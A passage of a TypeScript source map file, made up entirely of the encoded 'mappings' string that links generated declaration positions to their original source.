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"}